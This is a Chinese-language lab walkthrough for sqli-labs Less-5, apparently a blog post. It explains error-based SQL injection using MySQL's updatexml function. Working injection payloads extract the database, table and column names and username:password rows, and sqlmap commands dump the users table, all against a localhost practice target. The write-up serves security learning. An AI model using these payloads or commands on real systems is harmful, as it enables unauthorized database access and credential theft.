sqli-labs:Less-5关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)
- 提示:参数id需以
'
闭合
但有意思的是,php
代码的输出语句不是如下这种,这就导致无法像常规一样回显!
if($row)
{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
而是如下的代码:
if($row)
{echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";
}
对于很多注入出现无回显的情况,其原因可能是SQL语句查询方式的问题导致,这就需要用到盲注的手段,常用的有:
- 布尔盲注:逻辑判断
- 时间盲注:延时判断
- 报错盲注:报错回显(本关卡解决方法)✅
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-5/
,只需要将下面的sql语句粘贴即可。
2.1. 正常请求⚡
?id=1
说明:测试回显情况
2.2. 判断字段数⚡
?id=1' order by 4 --+
order by 4
:探测字段数(报错说明字段数=3)
2.3. 确定回显位⚡
?id=1' and updatexml(1,(select database()),3) --+
updatexml
是 MySQL 的一个 XML 处理函数,但它常被用于 报错注入(Error-Based Blind SQL Injection),因为它会在 XPath 解析错误时返回错误信息,从而泄露数据。
2.3.1 为什么是这种写法updatexml(1,(select database()),3) ?
想必会有疑惑,为什么下面的3种写法,只使用第1种:
?id=1' and updatexml(1,(select database()),3) --+
?id=1' and updatexml(1,2,(select database())) --+
?id=1' and updatexml((select database()),2,3) --+
这就要从函数updatexml()
自身入手,它的3个参数为:
updatexml(XML_document, XPath_expression, new_value)
参数 | 数据类型 | 作用 | 在注入中的用途 |
---|---|---|---|
1. XML_document | XML 字符串 | 要修改的 XML 文档 | 通常设为 1 或任意值(无实际作用 ) |
2. XPath_expression | XPath 字符串 | 用于定位 XML 节点的路径 | 关键参数:构造非法 XPath 触发报错 |
3. new_value | XML 字符串 | 替换匹配节点的值 | 通常设为 1 或任意值(无实际作用 ) |
这就是为什么只有将(select database())
放在第2个位置才会起中用,因为放到其他位置不会触发,起不了作用。
2.3.2 联合查询注入中id=-1 ,而报错盲注中id=1?
我们来对比一下,联合查询注入和报错注入的不同处:
?id=-1' union select 1,database(),user() --+?id=1' and updatexml(1,(select database()),3) --+
这是工作机制上的区别:
- 联合查询注入要求 前一个查询返回空结果,才能让后续的
union
查询结果显示出来。如果前一个查询有结果(如id=1
存在),数据库会优先显示它的结果,而union
部分的数据会被忽略。 - 报错注入依赖 SQL 语句执行并触发错误,所以 前面的条件必须为真,否则整个语句不会执行。如果
id=-1
不存在,and
后面的updatexml
就不会执行,也就不会报错。
2.4. 获取基础信息
?id=1' and updatexml(1,concat(1,(select database())),3) --+
2.4.1 updatexml函数的报错机制是什么?
-
updatexml
的报错机制:updatexml()
在解析错误的 XPath 时,会返回 第一个非法字符开始的部分字符串。- 当
concat(1, (select database()))
生成"1security"
时:1
是合法的 XPath 数字(不会触发报错)。s
(security
的第一个字母)是非法 XPath 字符,所以报错从s
开始截取。
-
为什么
1
没有显示:1
是合法的 XPath 数字,不会触发报错,所以被忽略。- 报错信息 只显示第一个非法位置之后的内容(即
security
)。
-
为什么推荐
0x7e
(~
)?
3.1. 确保触发报错:~
不是合法 XPath 字符,能强制从开头报错。
3.2. 完整显示数据:避免因前导数字/字母被忽略而丢失信息(如你的1
被跳过)。
3.3. 标准化注入:安全研究人员普遍使用0x7e
,让报错信息更统一。
完整的输出,可以改用:?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e), 3) --+
报错会显示:
XPATH syntax error: '~security~'
2.5. 获取表名⚡
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+
2.6. 获取字段⚡
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+
2.7. 获取数据⚡
?id=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+
因为updatexml()
函数最多显示32位数据,建议使用concat()
搭配limit + offset
使用,例如limit n,1
,n为起始位置。
2.8. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=1' |
--+ | 注释符 | --+ |
order by | 判断字段数 | order by 4 |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-5/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-5/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
本文是关于报错盲注的介绍与解析,内容详细,记录了我对于一些报错盲注知识的认识。
如有不懂,关卡1的解析更为详细(更为基础),相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗